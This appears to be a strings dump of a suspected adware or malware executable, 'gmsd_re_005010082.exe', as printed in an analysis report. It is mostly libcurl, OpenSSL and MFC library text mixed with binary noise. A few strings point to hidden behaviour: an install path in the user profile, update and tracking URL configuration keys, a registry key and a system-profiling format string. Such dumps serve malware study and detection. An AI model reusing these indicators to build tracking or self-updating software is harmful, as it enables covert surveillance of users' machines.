mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

ADVAPI32.DLL

Windows XP

Windows Server 2003

Windows Vista

Windows 98

Windows Me

Windows 2000, Windows NT 4.0, or Windows 95

Win32s on Windows 3.1.

OS: %s, SP: %s, STATE:%d, HOME:%s

%8x-%4x-%4x-%2x%2x-%2x%2x%2x%2x%2x%2x

%s-%s

%s: %d

%s: %s

HttpOpenRequest failed: %lu

HttpSendRequest failed: %lu

SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

4294967295

user32.dll

%s\%s

X-X-X-X-X-X

upd_url_format

trace_url_format

reg_supd_key

Software\Wnkey

%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.exe

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

Note that if you choose to recover the auto-saved documents, you must explicitly save them to overwrite the original documents. If you choose to not recover the auto-saved versions, they will be deleted.fRecover the auto-saved documents

%s [Recovered]

gmsd_re_005010082.exe_436:

.text

`.rdata

@.data

.rsrc

@.reloc

.FGy"

u&u

u.VWh<

8sqliu

u.Wh\

 2 34 567

 %STUV

F><.tN<[tJ<\tF<*tB<|t><^t:<$t6

tWSShW

tl9_ tgSSh

u$SShe

t'SShl

SSSSh

j%XtL9E

tAHt.HHt

<SShG

FtPW

SSh@B

FTCP

s%j.Zf

xSSSh

FTPjKS

FtPj;S

C.PjRV

8Y%u-

>.uEV

RR R!"RR#$RRRR%&'RRR(R)*R RRR,-.RR/0123RRRR4R5RRRRRRR6RRRRRR789:;<RRRRRRRR=RRR>?@ABCDERRRRFRRRRGHRRRRRIRRJKRRRRRLMRRRNNRRORRRRRRRRRPRRQ

!"EEE#E$Eî&E'()EEEE*EEEEEEEE EEEEEEEEEEEE,EE-.EEEEEEEEEEE/E0EEEEEEEEEEEEEE12EE345EE6789:EEEEEEEE;<EE=>?EE@EEEEEABCEEEEED

%u$Vj%

tCPh

t.Gj:W

FTPG

FTPj

.EKSWU

SHA1 block transform for x86, CRYPTOGAMS by <appro@openssl.org>

SHA256 block transform for x86, CRYPTOGAMS by <appro@openssl.org>

DlSHA512 block transform for x86, CRYPTOGAMS by <appro@openssl.org>

|$@3|$<3

Camellia for x86 by <appro@openssl.org>

6-9'6-9'

$6.:$6.:

*?#1*?#1

>8$4,8$4,

AES for x86, CRYPTOGAMS by <appro@openssl.org>

RC4 for x86, CRYPTOGAMS by <appro@openssl.org>

Montgomery Multiplication for x86, CRYPTOGAMS by <appro@openssl.org>

FtPS

CB_ColorKey

CB_Keydown

CB_Keyup

()$^.* ?[]|\-{},:=!

CNotSupportedException

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

CCmdTarget

RegDeleteKeyExW

CMDITabProxyWnd

CMDIChildWndEx

CMDIFrameWndEx

CMDIChildWnd

CMDIFrameWnd

CMDIClientAreaWnd

CMFCToolBarsKeyboardPropertyPage

operator

GetProcessWindowStation

portuguese-brazilian

F%D,3

dbghelp.dll

%Y-%m-%dT%H:%M:%SZ

Could not resolve %s: %s; %s

getaddrinfo() failed for %s:%d; %s

init_resolve_thread() failed for %s; %s

About to connect() to %s%s port %ld (#%ld)

Connected to %s (%s) port %ld (#%ld)

IDN support not present, can't parse Unicode domains

Protocol %s not supported or disabled in libcurl

<url> malformed

:]://%[^

[^:]:%[^

http_proxy

%5[^:@]:%5[^@]

:%5[^@]

Port number too large: %lu

%s://%s%s%s:%hu%s%s%s

;type=%c

[%*45[0123456789abcdefABCDEF:.]%c

Couldn't find host %s in the _netrc file; using defaults

PTF@example.com

Couldn't resolve host '%s'

Couldn't resolve proxy '%s'

User-Agent: %s

Re-using existing connection! (#%ld) with host %s

%s://%s

Connection #%ld to host %s left intact

operation aborted by callback

ioctl callback returned error %d

the ioctl callback returned %d

seek callback returned error %d

Problem (%d) in the Chunked-Encoded data

HTTP server doesn't seem to support byte ranges. Cannot resume.

Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)

Unrecognized content encoding type. libcurl understands `identity', `deflate' and `gzip' content encodings.

Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld

Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)

Rewinding stream by : %zd bytes on url %s (zero-length body)

Operation timed out after %ld milliseconds with %lld bytes received

Operation timed out after %ld milliseconds with %lld out of %lld bytes received

Added %s:%d:%s to DNS cache

Resolve %s found illegal!

%5[^:]:%d:%5s

No URL set!

[^?&/:]://%c

Violate RFC 2616/10.3.2 and switch from POST to GET

Violate RFC 2616/10.3.3 and switch from POST to GET

Disables POST, goes with %s

Issue another request to this URL: '%s'

unspecified error %d

%s cookie %s="%s" for domain %s, path %s, expire %lld

#HttpOnly_

skipped cookie with bad tailmatch domain: %s

skipped cookie with illegal dotcount domain: %s

httponly

23[^;

=]=I99[^;

%s%s%s

# Fatal libcurl error

# Netscape HTTP Cookie File

# hXXp://curl.haxx.se/rfc/cookie_spec.html

# This file was generated by libcurl! Edit at your own risk.

WARNING: failed to save cookies in %s

[%s %s %s]

Send failure: %s

Recv failure: %s

bind failed with errno %d: %s

Local port: %hu

getsockname() failed with errno %d: %s

Bind to local port %hu failed, trying next

Couldn't bind to '%s'

Name '%s' family %i resolved to '%s' family %i

Local Interface %s is ip %s using address family %i

ssloc inet_ntop() failed with errno %d: %s

ssrem inet_ntop() failed with errno %d: %s

getpeername() failed with errno %d: %s

TCP_NODELAY set

Could not set TCP_NODELAY: %s

Failed to connect to %s: %s

Trying %s...

sa_addr inet_ntop() failed with errno %d: %s

Unable to parse FTP file list

Error in the SSH layer

Caller must register CURLOPT_CONV_ callback options

TFTP: No such user

TFTP: Unknown transfer ID

TFTP: Illegal operation

TFTP: Access Violation

TFTP: File Not Found

Login denied

Issuer check against peer certificate failed

Invalid LDAP URL

Unrecognized or bad HTTP Content or Transfer-Encoding

Problem with the SSL CA cert (path? access rights?)

Peer certificate cannot be authenticated with given CA certificates

Problem with the local SSL certificate

SSL peer certificate or SSH remote key was not OK

An unknown option was passed in to libcurl

A libcurl function was given a bad argument

Operation was aborted by an application callback

FTP: command REST failed

FTP: command PORT failed

HTTP response code said error

FTP: couldn't retrieve (RETR failed) the specified file

FTP: couldn't set file type

FTP: can't figure out the host in the PASV response

FTP: unknown 227 response format

FTP: unknown PASV reply

FTP: unknown PASS reply

FTP: The server did not accept the PRET command.

FTP: weird server reply

A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.

URL using bad/illegal format or missing URL

Unsupported protocol

Winsock version not supported

Protocol family not supported

Address family not supported

Operation not supported

Socket is unsupported

Protocol is unsupported

Protocol option is unsupported

Unknown error %d (%#x)

Internal error removing splay node = %d

Internal error clearing splay node = %d

libcurl is now using a weak random seed!

not supported file type '%s' for certificate

file type P12 for certificate not supported

file type ENG for certificate not implemented

not supported file type for private key

Private key does not match the certificate public key

file type P12 for private key not supported

file type ENG for private key not supported

unable to set private key file: '%s' type %s

unable to use client certificate (no key found or wrong pass phrase?)

SSL Engine not supported

select/poll on SSL socket, errno: %d

SSL read: %s, errno %d

d-d-d d:d:d %s

common name: %s (matched)

common name: %s (does not match '%s')

SSL: certificate subject name '%s' does not match target host name '%s'

SSL: unable to obtain common name from peer certificate

SSL: illegal cert name field

subjectAltName does not match %s

subjectAltName: %s matched

CERT verify

Client key exchange

Server key exchange

CERT

Client CERT

Request CERT

Client key

SSLv%c, %s%s (%d):

SSL: SSL_set_fd failed: %s

SSL: SSL_set_session failed: %s

error loading CRL file: %s

CRLfile: %s

CAfile: %s

CApath: %s

successfully set certificate verify locations:

error setting certificate verify locations, continuing anyway:

error setting certificate verify locations:

SSL: couldn't create a context: %s

SSL connection using %s

SSL certificate problem, verify that the CA cert is OK. Details:

Unknown SSL protocol error in connection to %s:%ld

%s: %s

x:

%s(%s)

%s: %s

Signature: %s

Cert

RSA Public Key

RSA Public Key (%d bits)

pub_key

priv_key

Unable to load public key

Public Key Algorithm

Public Key Algorithm: %s

Expire date: %s

Start date: %s

Serial Number: %s

x%c

Signature Algorithm: %s

Issuer: %s

- Subject: %s

--- Certificate chain

SSL certificate verify ok.

SSL certificate verify result: %s (%ld), continuing anyway.

SSL certificate verify result: %s (%ld)

SSL certificate issuer check ok (%s)

SSL: Certificate issuer check failed (%s)

SSL: Unable to read issuer cert (%s)

SSL: Unable to open issuer cert (%s)

issuer: %s

expire date: %s

start date: %s

subject: %s

Server certificate:

SSL: couldn't get peer certificate!

SSL_write() return error %d

SSL_write() error: %s

SSL_write() returned SYSCALL, errno = %d

--:--:--

%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s

%s%s%s%s%s%s

Session: %s

%s %s RTSP/1.0

Range: %s

Referer: %s

Accept-Encoding: %s

Refusing to issue an RTSP SETUP without a Transport: header.

Transport: %s

Transport:

Refusing to issue an RTSP request [%s] without a session ID.

Got RTSP Session ID Line [%s], but wanted ID [%s]

Unable to read the CSeq header: [%s]

SMTPS

SMTP

EHLO %s

HELO %s

AUTH %s

No known auth mechanisms supported!

AUTH %s %s

LOGIN

Access denied: %d

%s xxxxxxxxxxxxxxxx

Authentication failed: %d

MAIL FROM:<%s>

MAIL FROM:%s

RCPT TO:<%s>

RCPT TO:%s

STARTTLS denied. %c

Got unexpected smtp-server response: %d

USER %s

PASS %s

Access denied. %c

Invalid message. %c

RETR %s

LIST %s

%s LOGIN %s %s

%s SELECT %s

%s FETCH 1 BODY[TEXT]

%s LOGOUT

%s STARTTLS

TFTP

set timeouts for state %d; Total %ld, retry %d maxtry %d

invalid tsize -:%s:- value in OACK packet

%s (%ld)

blksize is smaller than min supported

%s (%d)

blksize is larger than max supported

%s (%d) %s (%d)

got option=(%s) value=(%s)

tftp_rx: internal error

Timeout waiting for block %d ACK. Retries = %d

tftp_rx: giving up waiting for block %d

Received unexpected DATA packet block %d

tftp_tx: internal error, event: %i

tftp_tx: giving up waiting for block %d ack

Received ACK for block %d, expecting %d

bind() failed; %s

tftp_send_first: internal error

%s%c%s%c

TFTP finished

TFTP response timeout

Can't get the size of %s

Can't open %s for writing

Last-Modified: %s, d %s M d:d:d GMT

Couldn't open file %s

There are more than %d entries

LDAP remote: %s

LDAP local: ldap_simple_bind_s %s

LDAP local: Cannot connect to %s:%hu

LDAP local: trying to establish %s connection

LDAP local: %s

LDAP local: LDAP Vendor = %s ; LDAP Version = %d

CLIENT libcurl 7.22.0

MATCH %s %s %s

DEFINE %s %s

insufficient winsock version to support telnet

WSAStartup failed (%d)

%s %d %d

%s %s %d

%s %s %s

%s IAC %d

%s IAC %s

Sending data failed (%d)

%d (unknown)

%s (unsupported)

%s IAC SB

Syntax error in telnet option: %s

Unknown telnet option %s

7[^= ]%*[ =]%5s

USER,%s

%c%c%c%c%s%c%c

%c%s%c%s

7[^,],7s

%c%c%c%c

FreeLibrary(wsock2) failed (%d)

WSACloseEvent failed (%d)

WSAEnumNetworkEvents failed (%d)

WSACreateEvent failed (%d)

failed to find WSAEnumNetworkEvents function (%d)

failed to find WSAEventSelect function (%d)

failed to find WSACloseEvent function (%d)

failed to find WSACreateEvent function (%d)

failed to load WS2_32.DLL (%d)

WS2_32.DLL

FTPS

PORT

FTP response aborted due to select/poll error: %d

FTP response timeout

%s %s

,%d,%d

%s |%d|%s|%hu|

bind() failed, we ran out of ports!

bind(port=%hu) failed: %s

socket failure: %s

Curl_resolv failed, we can not recover!

getsockname() failed: %s

Connect data stream passively

PRET RETR %s

PRET STOR %s

PRET %s

REST %d

SIZE %s

STOR %s

APPE %s

Failed to do PORT

Got a d response code instead of the assumed 200

ftp server doesn't support SIZE

Failed FTP upload:

RETR response: d

PBSZ %d

Access denied: d

ACCT %s

ACCT rejected by server: d

TYPE %c

Connecting to %s (%s) port %d

Uploading to a URL without a file name!

MDTM %s

Bad PASV/EPSV response: d

Can't resolve new host %s:%hu

Can't resolve proxy host %s:%hu

Skips %d.%d.%d.%d for data connection, uses %s instead

%d,%d,%d,%d,%d,%d

%c%c%c%u%c

ddd d:d:d GMT

dddddd

unsupported MDTM reply format

QUOT string not accepted: %s

Wildcard - "%s" skipped by user

Wildcard - START of "%s"

CWD %s

PRET command not accepted: d

Failed to MKD dir: d

MKD %s

QUOT command failed with d

Entry path is '%s'

PROT %c

unsupported parameter to CURLOPT_FTPSSLAUTH: %d

Got a d ftp-server response when 220 was expected

server did not report OK, got %d

Remembering we are in dir "%s"

HTTPS

%sAuthorization: Basic %s

%s:%s

%s auth using %s with user '%s'

HTTP/

Avoided giant realloc for header (max is %d)!

The requested URL returned error: %d

If-Unmodified-Since: %s

Last-Modified: %s

If-Modified-Since: %s

%s, d %s M d:d:d GMT

Failed sending HTTP POST request

Content-Type: application/x-www-form-urlencoded

Internal HTTP POST error!

Failed sending HTTP request

%s%s=%s

%s HTTP/%s

%s%s%s%s%s%s%s%s%s%s%s

PTF://%s:%s@%s

Content-Range: bytes %s/%lld

Content-Range: bytes %s%lld/%lld

Range: bytes=%s

PTF://

Host: %s%s%s:%hu

Host: %s%s%s

Chunky upload is not supported by HTTP 1.0

%s, TE

HTTP error before end of send, stop sending

HTTP/1.0 connection set to keep alive!

HTTP/1.1 proxy connection set close!

HTTP/1.0 proxy connection set to keep alive!

HTTP 1.0, assume close after body

RTSP/%d.%d =

HTTP =

HTTP/%d.%d =

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.

SOCKS4%s request granted.

Failed to resolve "%s" for SOCKS4 connect.

No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)

SOCKS5 GSSAPI per-message authentication is not supported.

Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)

Failed to resolve "%s" for SOCKS5 connect.

User was rejected by the SOCKS5 server (%d %d).

password

login

Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds

%sAuthorization: NTLM %s

%s, algorithm="%s"

%s, opaque="%s"

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop="%s", response="%s"

%s:%s:x:%s:%s:%s

%s:%.*s

%s:%s:%s

Error while processing content unencoding: %s

1.2.0.4

d:d

%c%c==

%c%c%c=

Received HTTP code %d from proxy after CONNECT

HTTP/1.%d %d

CONNECT %s:%hu HTTP/%s

%s%s%s%s

Host: %s

%s:%hu

Establish HTTP proxy tunnel to %s:%hu

0123456789-

.jpeg

.html

--%s--

couldn't open file "%s"

Content-Type: %s

; filename="%s"

Content-Disposition: attachment; filename="%s"

Content-Type: multipart/mixed, boundary=%s

%s; boundary=%s

NTLMSSP%c

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c

KGS!@#$%.rnd

\X

X.509 part of OpenSSL 1.0.0e 6 Sep 2011

OPENSSL_ALLOW_PROXY_CERTS

passed a null parameter

DSO support routines

x509 certificate routines

error:lX:%s:%s:%s

ASN.1 part of OpenSSL 1.0.0e 6 Sep 2011

d.registeredID

d.iPAddress

d.uniformResourceIdentifier

d.ediPartyName

d.directoryName

d.dNSName

d.rfc822Name

d.otherName

Stack part of OpenSSL 1.0.0e 6 Sep 2011

x%s

%s - d:d:d%.*s %d%s

%*s<Not Supported>

%*s%s

%*s%s:

CERTIFICATE

Big Number part of OpenSSL 1.0.0e 6 Sep 2011

unsupported or invalid name syntax

unsupported or invalid name constraint syntax

unsupported name constraint type

name constraints minimum and maximum not supported

Unsupported extension feature

invalid or inconsistent certificate policy extension

invalid or inconsistent certificate extension

key usage does not include digital signature

key usage does not include CRL signing

unable to get CRL issuer certificate

key usage does not include certificate signing

authority and subject key identifier mismatch

certificate rejected

certificate not trusted

unsupported certificate purpose

proxy certificates not allowed, please set the appropriate flag

invalid non-CA certificate (has CA markings)

invalid CA certificate

certificate revoked

certificate chain too long

unable to verify the first certificate

unable to get local issuer certificate

self signed certificate in certificate chain

self signed certificate

format error in certificate's notAfter field

format error in certificate's notBefore field

certificate has expired

certificate is not yet valid

certificate signature failure

unable to decode issuer public key

unable to decrypt certificate's signature

unable to get certificate CRL

unable to get issuer certificate

cert_info

OpenSSL 1.0.0e 6 Sep 2011

MD5 part of OpenSSL 1.0.0e 6 Sep 2011

libdes part of OpenSSL 1.0.0e 6 Sep 2011

DES part of OpenSSL 1.0.0e 6 Sep 2011

MD4 part of OpenSSL 1.0.0e 6 Sep 2011

RAND part of OpenSSL 1.0.0e 6 Sep 2011

You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html

RSA part of OpenSSL 1.0.0e 6 Sep 2011

DSA part of OpenSSL 1.0.0e 6 Sep 2011

.\crypto\ec\ec_key.c

Diffie-Hellman part of OpenSSL 1.0.0e 6 Sep 2011

supportedAlgorithms

crossCertificatePair

certificateRevocationList

cACertificate

userCertificate

userPassword

supportedApplicationContext

Microsoft Local Key set

LocalKeySet

id-Gost28147-89-None-KeyMeshing

id-Gost28147-89-CryptoPro-KeyMeshing

password based MAC

id-PasswordBasedMAC

X509v3 Certificate Issuer

certificateIssuer

certicom-arc

Proxy Certificate Information

proxyCertInfo

Microsoft Smartcardlogin

msSmartcardLogin

joint-iso-itu-t

JOINT-ISO-ITU-T

set-rootKeyThumb

setAttr-Cert

setCext-cCertRequired

setCext-certType

setct-CertResTBE

setct-CertReqTBEX

setct-CertReqTBE

setct-AcqCardCodeMsgTBE

setct-CertInqReqTBS

setct-CertResData

setct-CertReqTBS

setct-CertReqData

setct-PCertResTBS

setct-PCertReqData

setct-AcqCardCodeMsg

certificate extensions

set-certExt

set-msgExt

id-ecPublicKey

id-cmc-confirmCertAcceptance

id-cmc-getCert

id-regInfo-certReq

id-regCtrl-protocolEncrKey

id-regCtrl-oldCertID

id-it-revPassphrase

id-it-keyPairParamRep

id-it-keyPairParamReq

id-it-unsupportedOIDs

id-it-caKeyUpdateInfo

id-it-encKeyPairTypes

id-it-signKeyPairTypes

id-it-caProtEncCert

id-mod-attribute-cert

id-mod-qualified-cert-93

id-mod-qualified-cert-88

id-smime-aa-ets-certCRLTimestamp

id-smime-aa-ets-certValues

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-otherSigCert

id-smime-aa-smimeEncryptCerts

id-smime-aa-signingCertificate

id-smime-aa-encrypKeyPref

id-smime-aa-msgSigDigest

id-smime-ct-publishCert

id-smime-mod-msg-v3

sdsiCertificate

x509Certificate

localKeyID

certBag

pkcs8ShroudedKeyBag

keyBag

pbeWithSHA1And2-KeyTripleDES-CBC

pbeWithSHA1And3-KeyTripleDES-CBC

TLS Web Client Authentication

TLS Web Server Authentication

X509v3 Extended Key Usage

extendedKeyUsage

X509v3 Authority Key Identifier

authorityKeyIdentifier

X509v3 Certificate Policies

certificatePolicies

X509v3 Private Key Usage Period

privateKeyUsagePeriod

X509v3 Key Usage

keyUsage

X509v3 Subject Key Identifier

subjectKeyIdentifier

Netscape Certificate Sequence

nsCertSequence

Netscape CA Policy Url

nsCaPolicyUrl

Netscape Renewal Url

nsRenewalUrl

Netscape CA Revocation Url

nsCaRevocationUrl

Netscape Revocation Url

nsRevocationUrl

Netscape Base Url

nsBaseUrl

Netscape Cert Type

nsCertType

Netscape Certificate Extension

nsCertExt

extendedCertificateAttributes

challengePassword

dhKeyAgreement

value.single

value.set

ssl_sess_cert

ssl_cert

evp_pkey

x509_pkey

%s(%d): OpenSSL internal error, assertion failed: %s

X509_PUBKEY

public_key

.\crypto\asn1\x_pubkey.c

<ASN1 %d>

appl [ %d ]

cont [ %d ]

priv [ %d ]

'() ,-./:=?

%d.%d.%d.%d/%d.%d.%d.%d

ddddddZ

ddddddZ

lhash part of OpenSSL 1.0.0e 6 Sep 2011

TRUSTED CERTIFICATE

CERTIFICATE REQUEST

NEW CERTIFICATE REQUEST

RSA PRIVATE KEY

DSA PRIVATE KEY

EC PRIVATE KEY

X509 CERTIFICATE

/usr/local/ssl/certs

/usr/local/ssl/cert.pem

SSL_CERT_DIR

SSL_CERT_FILE

%lu:%s:%s:%d:%s

%sx - <SPACES/NULS>

x -

PEM part of OpenSSL 1.0.0e 6 Sep 2011

phrase is too short, needs to be at least %d chars

Enter PEM pass phrase:

PRIVATE KEY

ENCRYPTED PRIVATE KEY

ANY PRIVATE KEY

name.relativename

name.fullname

certificateHold

Certificate Hold

cessationOfOperation

Cessation Of Operation

keyCompromise

Key Compromise

%*sOnly Attribute Certificates

%*sOnly CA Certificates

%*sOnly User Certificates

PROXY_CERT_INFO_EXTENSION

AUTHORITY_KEYID

keyid

X509_CERT_PAIR

X509_CERT_AUX

USER32.DLL

NETAPI32.DLL

KERNEL32.DLL

ADVAPI32.DLL

EC part of OpenSSL 1.0.0e 6 Sep 2011

.\crypto\dh\dh_key.c

%s: (%d bit)

Public-Key

Private-Key

recommended-private-length: %d bits

public-key:

private-key:

PKCS#3 DH Public-Key

PKCS#3 DH Private-Key

Public-Key: (%d bit)

Private-Key: (%d bit)

SHA1 part of OpenSSL 1.0.0e 6 Sep 2011

SHA-256 part of OpenSSL 1.0.0e 6 Sep 2011

SHA-512 part of OpenSSL 1.0.0e 6 Sep 2011

<unsupported>

IP Address:%d.%d.%d.%d

URI:%s

DNS:%s

email:%s

EdiPartyName:<unsupported>

X400Name:<unsupported>

othername:<unsupported>

pubkey

enc_key

key_enc_algor

cert

d.encrypted

d.digest

d.signed_and_enveloped

d.enveloped

d.sign

d.data

d.other

EC_PRIVATEKEY

publicKey

privateKey

value.implicitlyCA

value.parameters

value.named_curve

p.char_two

p.prime

p.ppBasis

p.tpBasis

p.onBasis

p.other

PKCS8_PRIV_KEY_INFO

pkey

pkeyalg

.\crypto\evp\evp_pkey.c

keylen <= sizeof key

EVP_CIPHER_key_length(cipher) <= (int)sizeof(md_tmp)

%*sPolicy Text: %s

%*scrlUrl:

EXTENDED_KEY_USAGE

%*sZone: %s, User:

.\crypto\x509v3\v3_akey.c

d.usernotice

d.cpsuri

CERTIFICATEPOLICIES

%*sExplicit Text: %s

%*sNumber%s:

%*sOrganization: %s

%*sCPS: %s

PKEY_USAGE_PERIOD

keyCertSign

Certificate Sign

keyAgreement

Key Agreement

keyEncipherment

Key Encipherment

.\crypto\x509v3\v3_skey.c

NETSCAPE_CERT_SEQUENCE

certs

.\crypto\pem\pem_pkey.c

.\crypto\asn1\x_pkey.c

.\crypto\evp\evp_key.c

nkey <= EVP_MAX_KEY_LENGTH

EVP part of OpenSSL 1.0.0e 6 Sep 2011

?456789:;<=

!"#$%&'()* ,-./0123

ECDSA part of OpenSSL 1.0.0e 6 Sep 2011

Basis Type: %s

Field Type: %s

ASN1 OID: %s

%s %s%lu (%s0x%lx)

hexkey

rsa_keygen_pubexp

rsa_keygen_bits

RIPE-MD160 part of OpenSSL 1.0.0e 6 Sep 2011

SHA part of OpenSSL 1.0.0e 6 Sep 2011

CAST part of OpenSSL 1.0.0e 6 Sep 2011

Blowfish part of OpenSSL 1.0.0e 6 Sep 2011

RC2 part of OpenSSL 1.0.0e 6 Sep 2011

.pp@0

aEÐ

 (#EÚ

ÚE<<0

IDEA part of OpenSSL 1.0.0e 6 Sep 2011

len>=0 && len<=(int)sizeof(ctx->key)

j <= (int)sizeof(ctx->key)

keylength

keyfunc

.\crypto\pkcs12\p12_key.c

crlUrl

certStatus

certId

OCSP_CERTSTATUS

value.unknown

value.revoked

value.good

value.byKey

value.byName

reqCert

OCSP_CERTID

issuerKeyHash

CONF part of OpenSSL 1.0.0e 6 Sep 2011

%'%1$=%C%K%O%s%

.%.-.3.7.9.?.W.[.o.y.

C%C'C3C7C9COCWCiC

d.receiptList

d.allOrFirstTier

d.compressedData

d.authenticatedData

d.encryptedData

d.digestedData

d.envelopedData

d.signedData

d.ori

d.pwri

d.kekri

d.kari

d.ktri

CMS_PasswordRecipientInfo

keyDerivationAlgorithm

keyIdentifier

CMS_KeyAgreeRecipientInfo

recipientEncryptedKeys

CMS_OriginatorIdentifierOrKey

d.originatorKey

CMS_OriginatorPublicKey

CMS_RecipientEncryptedKey

CMS_KeyAgreeRecipientIdentifier

d.rKeyId

CMS_RecipientKeyIdentifier

CMS_OtherKeyAttribute

keyAttr

keyAttrId

CMS_KeyTransRecipientInfo

encryptedKey

keyEncryptionAlgorithm

certificates

d.crl

d.subjectKeyIdentifier

d.issuerAndSerialNumber

CMS_CertificateChoices

d.v2AttrCert

d.v1AttrCert

d.extendedCertificate

d.certificate

CMS_OtherCertificateFormat

otherCert

otherCertFormat

CONF_def part of OpenSSL 1.0.0e 6 Sep 2011

[[%s]]

[%s] %s=%s

Verifying - %s

ECDH part of OpenSSL 1.0.0e 6 Sep 2011

value.bag

value.safes

value.shkeybag

value.keybag

value.sdsicert

value.x509cert

value.other

%s.dll

%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s

EXPORT56

EXPORT40

EXPORT

.\ssl\ssl_cert.c

wrong number of key bits

unsupported status type

unsupported ssl version

unsupported protocol

unsupported elliptic curve

unsupported digest type

unsupported compression algorithm

unsupported cipher

unknown pkey type

unknown key exchange type

unknown certificate type

unable to find public key parameters

unable to extract public key

unable to decode ecdh certs

unable to decode dh certs

tried to use unsupported cipher

tls peer did not respond with certificate list

tls client cert req with anon cipher

tlsv1 unsupported extension

tlsv1 certificate unobtainable

tlsv1 bad certificate status response

tlsv1 bad certificate hash value

tlsv1 alert export restriction

sslv3 alert unsupported certificate

sslv3 alert no certificate

sslv3 alert certificate unknown

sslv3 alert certificate revoked

sslv3 alert certificate expired

sslv3 alert bad certificate

signature for non signing certificate

reuse cert type not zero

reuse cert length not zero

public key not rsa

public key is not rsa

public key encrypt error

peer error unsupported certificate type

peer error no certificate

peer error certificate

peer did not return a certificate

null ssl method passed

no publickey

no private key assigned

no privatekey

Peer haven't sent GOST certificate, required for selected ciphersuite

no client cert received

no client cert method

no ciphers passed

no certificate specified

no certificate set

no certificate returned

no certificate assigned

no certificates returned

missing tmp rsa pkey

missing tmp rsa key

missing tmp ecdh key

missing tmp dh key

missing rsa signing cert

missing rsa encrypting cert

missing rsa certificate

missing export tmp rsa key

missing export tmp dh key

missing dsa signing cert

missing dh rsa cert

missing dh key

missing dh dsa cert

krb5 server rd_req (keytab perms?)

key arg too long

invalid ticket keys length

http request

https proxy request

error generating tmp rsa key

ecc cert should have sha1 signature

ecc cert should have rsa signature

ecc cert not for signing

ecc cert not for key agreement

cert length mismatch

certificate verify failed

bad ecc cert

bad dh pub key length

TLS1_SETUP_KEY_BLOCK

tls1_cert_verify_mac

SSL_VERIFY_CERT_CHAIN

SSL_use_RSAPrivateKey_file

SSL_use_RSAPrivateKey_ASN1

SSL_use_RSAPrivateKey

SSL_use_PrivateKey_file

SSL_use_PrivateKey_ASN1

SSL_use_PrivateKey

SSL_use_certificate_file

SSL_use_certificate_ASN1

SSL_use_certificate

SSL_SET_PKEY

SSL_SET_CERT

SSL_SESS_CERT_NEW

SSL_GET_SIGN_PKEY

SSL_GET_SERVER_SEND_CERT

SSL_CTX_use_RSAPrivateKey_file

SSL_CTX_use_RSAPrivateKey_ASN1

SSL_CTX_use_RSAPrivateKey

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_ASN1

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_chain_file

SSL_CTX_use_certificate_ASN1

SSL_CTX_use_certificate

SSL_CTX_set_client_cert_engine

SSL_CTX_check_private_key

SSL_CHECK_SRVR_ECC_CERT_AND_ALG

SSL_check_private_key

SSL_CERT_NEW

SSL_CERT_INSTANTIATE

SSL_CERT_INST

SSL_CERT_DUP

SSL_add_file_cert_subjects_to_stack

SSL_add_dir_cert_subjects_to_stack

SSL3_SETUP_KEY_BLOCK

SSL3_SEND_SERVER_KEY_EXCHANGE

SSL3_SEND_SERVER_CERTIFICATE

SSL3_SEND_CLIENT_KEY_EXCHANGE

SSL3_SEND_CLIENT_CERTIFICATE

SSL3_SEND_CERTIFICATE_REQUEST

SSL3_OUTPUT_CERT_CHAIN

SSL3_GET_SERVER_CERTIFICATE

SSL3_GET_KEY_EXCHANGE

SSL3_GET_CLIENT_KEY_EXCHANGE

SSL3_GET_CLIENT_CERTIFICATE

SSL3_GET_CERT_VERIFY

SSL3_GET_CERT_STATUS

SSL3_GET_CERTIFICATE_REQUEST

SSL3_GENERATE_KEY_BLOCK

SSL3_CHECK_CERT_AND_ALGORITHM

SSL3_ADD_CERT_TO_BUF

SSL2_SET_CERTIFICATE

SSL2_GENERATE_KEY_MATERIAL

REQUEST_CERTIFICATE

GET_CLIENT_MASTER_KEY

DTLS1_SEND_SERVER_KEY_EXCHANGE

